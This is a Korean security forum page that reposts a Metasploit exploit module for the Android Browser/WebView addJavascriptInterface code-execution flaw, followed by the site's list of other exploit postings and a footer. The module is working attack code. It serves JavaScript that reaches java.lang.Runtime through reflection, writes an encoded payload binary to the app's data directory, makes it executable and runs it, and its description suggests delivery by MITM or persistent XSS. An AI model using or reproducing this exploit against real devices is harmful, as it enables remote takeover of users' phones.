Android Browser and WebView addJavascriptInterface Code Execution

 

 

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
 
  autopwn_info({
    :os_flavor  => "Android",
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => %Q|
      for (i in top) {
        try {
          top[i].getClass().forName('java.lang.Runtime');
          is_vuln = true; break;
        } catch(e) {}
      }
    |
  })
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description' => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.
 
          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.
 
          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.
 
          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'     => MSF_LICENSE,
      'Author'      => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'     => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
                'addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
                'addjavascriptinterface-remote-code-execution/']
      ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_ARMLE,
      'DefaultOptions' => { 'PrependFork' => true },
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Dec 21 2012',
      'DefaultTarget'  => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :os_flavor  => "Android",
        :arch       => ARCH_ARMLE
      }
    ))
  end
 
  def on_request_uri(cli, req)
    if req.uri.end_with?('js')
      print_status("Serving javascript")
      send_response(cli, js, 'Content-type' => 'text/javascript')
    else
      super
    end
  end
 
  def on_request_exploit(cli, req, browser)
    print_status("Serving exploit HTML")
    send_response_html(cli, html)
  end
 
  def js
    %Q|
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
 
        // get the runtime so we can exec
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\x')}";
 
        // get the process name, which will give us our data path
        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
        path += '/#{Rex::Text.rand_text_alpha(8)}';
 
        // build the binary, chmod it, and execute it
        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
        m.invoke(null, null).exec([path]);
 
        return true;
      }
 
      for (i in top) { if (exec(top[i]) === true) break; }
    |
  end
 
  def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"
  end
end

경축! 아무것도 안하여 에스천사게임즈가 새로운 모습으로 재오픈 하였습니다.
어린이용이며, 설치가 필요없는 브라우저 게임입니다.
https://s1004games.com

 

 

 

 

 

본 웹사이트는 광고를 포함하고 있습니다.
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
번호 제목 글쓴이 날짜 조회 수
공지 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 졸리운_곰 2017.12.10 28357
21 BIND DNS와 DHCP 보안 취약점 발견...업데이트 필수 file 졸리운_곰 2018.03.11 261
20 인텔 칩 내에서 설계 오류 발견된 이후 이틀간의 기록 file 졸리운_곰 2018.01.04 226
19 [4.28 버그리포트] CVE-2017-8301 外 file 졸리운_곰 2017.04.28 133
18 [4.24 버그리포트] CVE-2015-1521 外 file 졸리운_곰 2017.04.25 108
17 모의해킹 보고서 [2호]_주간취약점동향리포트_20120925.pdf file 졸리운_곰 2014.11.12 360
16 GNU Bash 원격명령 실행 취약점 대응방안 권고.pdf file 졸리운_곰 2014.10.27 266
15 Wordpress Frontend Upload Plugin - Arbitrary File Upload 졸리운_곰 2014.02.17 914
14 Wordpress Buddypress Plugin 1.9.1 - Privilege Escalation 졸리운_곰 2014.02.17 868
13 Daum Game 1.1.0.5 - ActiveX (IconCreate Method) Stack Buffer Overflow 졸리운_곰 2014.02.09 779
» Android Browser and WebView addJavascriptInterface Code Execution 졸리운_곰 2014.02.09 1375
11 Apache Tomcat Manager Application Upload Authenticated Code Execution 졸리운_곰 2014.02.09 3157
10 NETGEAR ReadyNAS Perl Code Evaluation 졸리운_곰 2014.01.07 2016
9 Adobe Reader ToolButton - Use After Free 졸리운_곰 2014.01.07 1342
8 Moodle Remote Command Execution 가을의 곰을... 2013.11.06 1588
7 Apache + PHP 5.x - Remote Code Execution (Multithreaded Scanner v2) 가을의 곰을... 2013.11.06 1420
6 MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free 가을의 곰을... 2013.10.18 1536
5 Apple iOS 7.0.2 - Sim Lock Screen Display Bypass Vulnerability 가을의 곰을... 2013.10.17 1191
4 XAMPP 1.8.1 (lang.php, WriteIntoLocalDisk method) - Local Write Access Vulnerability 가을의 곰을... 2013.10.17 1260
3 Micorosft Internet Explorer SetMouseCapture Use-After-Free file 가을의 곰을... 2013.10.13 1151
2 Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object file 가을의 곰을... 2013.10.13 4162
대표 김성준 주소 : 경기 용인 분당수지 U타워 등록번호 : 142-07-27414
통신판매업 신고 : 제2012-용인수지-0185호 출판업 신고 : 수지구청 제 123호 개인정보보호최고책임자 : 김성준 sjkim70@stechstar.com
대표전화 : 010-4589-2193 [fax] 02-6280-1294 COPYRIGHT(C) stechstar.com ALL RIGHTS RESERVED